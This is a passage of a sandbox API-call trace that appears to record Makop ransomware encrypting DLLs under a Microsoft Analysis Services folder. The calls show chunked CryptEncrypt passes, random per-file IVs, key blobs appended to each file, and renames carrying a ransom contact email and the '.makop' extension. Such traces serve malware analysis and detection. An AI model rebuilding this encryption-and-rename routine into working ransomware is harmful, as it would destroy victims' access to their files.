nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a25d70, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.172] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a25d70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a65e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.184] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a65e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.185] SetEndOfFile (hFile=0xf0) returned 1 [0105.195] GetProcessHeap () returned 0x48a0000 [0105.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.195] GetProcessHeap () returned 0x48a0000 [0105.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.195] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0105.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.196] CloseHandle (hObject=0xf0) returned 1 [0105.197] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0105.197] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll") returned 69 [0105.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.197] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=12338536) returned 1 [0105.197] GetProcessHeap () returned 0x48a0000 [0105.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.198] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.205] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.205] GetProcessHeap () returned 0x48a0000 [0105.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0105.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.205] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0105.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0105.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0105.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0105.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.206] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.206] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.207] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.217] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.225] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ec1cd, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.228] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.255] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ec1cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb84570, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.264] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.273] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb84570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.275] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.278] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.278] SetEndOfFile (hFile=0xf0) returned 1 [0105.286] GetProcessHeap () returned 0x48a0000 [0105.286] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.287] GetProcessHeap () returned 0x48a0000 [0105.287] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.287] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0105.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.288] CloseHandle (hObject=0xf0) returned 1 [0105.288] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0105.288] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll") returned 70 [0105.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.289] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=8154984) returned 1 [0105.289] GetProcessHeap () returned 0x48a0000 [0105.289] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.289] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.289] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.294] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.294] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.294] GetProcessHeap () returned 0x48a0000 [0105.294] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.294] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0105.294] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.295] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0105.295] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0105.295] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0105.295] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0105.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.296] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.296] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.296] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.310] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c7044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x297a78, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.316] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.327] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x297a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.333] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c7044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.334] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x786f70, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.334] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.342] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x786f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.347] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c7044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.347] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.347] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.347] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7c7044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.347] SetEndOfFile (hFile=0xf0) returned 1 [0105.354] GetProcessHeap () returned 0x48a0000 [0105.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.354] GetProcessHeap () returned 0x48a0000 [0105.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0105.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.356] CloseHandle (hObject=0xf0) returned 1 [0105.356] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0105.356] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll") returned 70 [0105.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.358] GetProcessHeap () returned 0x48a0000 [0105.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.358] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.364] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.364] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.364] GetProcessHeap () returned 0x48a0000 [0105.364] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.364] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.364] CryptDestroyKey 